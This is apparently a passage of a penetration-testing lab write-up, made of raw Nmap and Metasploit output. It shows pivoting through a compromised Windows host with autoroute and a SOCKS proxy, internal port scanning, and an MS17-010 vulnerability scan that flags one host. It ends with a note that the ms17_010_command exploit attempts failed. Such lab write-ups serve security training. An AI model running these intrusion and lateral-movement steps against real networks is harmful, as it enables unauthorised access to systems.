Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-13 20:31 CST Nmap scan report for 192.168.0.178 Host is up (0.00052s latency). Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http 3306/tcp open mysql MAC Address: 00:0C:29:63:00:E0 (VMware)
Name Current Setting Required Description ---- --------------- -------- ----------- CMD autoadd yes Specify the autoroute command (Accepted: add , autoadd, print, delete, default) NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24" SESSION yes The session to run this module on. SUBNET no Subnet (IPv4, for example, 10.10.10.0)
msf6 post(multi/manage/autoroute) > set session 10 session => 10 msf6 post(multi/manage/autoroute) > show options
Module options (post/multi/manage/autoroute):
Name Current Setting Required Description ---- --------------- -------- ----------- CMD autoadd yes Specify the autoroute command (Accepted: add , autoadd, print, delete, default) NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24" SESSION 10 yes The session to run this module on. SUBNET no Subnet (IPv4, for example, 10.10.10.0)
msf6 post(multi/manage/autoroute) > set subnet 192.168.52.0/24 subnet => 192.168.52.0/24 msf6 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module (incompatible session platform: windows) [*] Running module against STU1 [*] Searching for subnets to autoroute.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table. [+] Route added to subnet 192.168.52.0/255.255.255.0 from host's routing table. [+] Route added to subnet 192.168.72.0/255.255.255.0 from host's routing table. [*] Post module execution completed
msf6 post(multi/manage/autoroute) > route print
IPv4 Active Routing Table =========================
msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no Proxy password for SOCKS5 listener SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on USERNAME no Proxy username for SOCKS5 listener VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description ---- ----------- Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > set version 5 version => 5 msf6 auxiliary(server/socks_proxy) > run [*] Auxiliary module running as background job 0. msf6 auxiliary(server/socks_proxy) > [*] Starting the SOCKS proxy server Interrupt: use the 'exit' command to quit msf6 auxiliary(server/socks_proxy) > run [*] Auxiliary module running as background job 1.
[*] Starting the SOCKS proxy server [*] Stopping the SOCKS proxy server
Nmap scan report for 192.168.52.141 Host is up (1.5s latency). Not shown: 987 closed ports PORT STATE SERVICE 21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 777/tcp open multiling-http 1025/tcp open NFS-or-IIS 1028/tcp open unknown 1029/tcp open ms-lsa 1030/tcp open iad1 6002/tcp open X11:2 7001/tcp open afs3-callback 7002/tcp open afs3-prserver 8099/tcp open unknown
Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_ARCH true no Check for architecture on vulnerab le hosts CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerab le hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /usr/share/metasploit yes List of named pipes to check -framework/data/wordl ists/named_pipes.txt RHOSTS 192.168.52.0/24 yes The target host(s), range CIDR ide ntifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for auth entication SMBPass no The password for the specified use rname SMBUser no The username to authenticate as THREADS 100 yes The number of concurrent threads ( max one per host)
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.0/24 rhosts => 192.168.52.0/24 msf6 auxiliary(scanner/smb/smb_ms17_010) > set threads 500 threads => 500 msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.52.143:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 192.168.52.0/24:445 - Scanned 45 of 256 hosts (17% complete) [*] 192.168.52.0/24:445 - Scanned 52 of 256 hosts (20% complete) [*] 192.168.52.0/24:445 - Scanned 77 of 256 hosts (30% complete) [*] 192.168.52.0/24:445 - Scanned 114 of 256 hosts (44% complete) [*] 192.168.52.0/24:445 - Scanned 145 of 256 hosts (56% complete) [*] 192.168.52.0/24:445 - Scanned 154 of 256 hosts (60% complete) [-] 192.168.52.141:445 - An SMB Login Error occurred while connecting to the IPC$ tree. [*] 192.168.52.0/24:445 - Scanned 190 of 256 hosts (74% complete) [*] 192.168.52.0/24:445 - Scanned 205 of 256 hosts (80% complete) [*] 192.168.52.0/24:445 - Scanned 255 of 256 hosts (99% complete) [*] 192.168.52.0/24:445 - Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed
使用ms17_010_command
use auxiliary/admin/smb/ms17_010_command，但是都利用失败了......
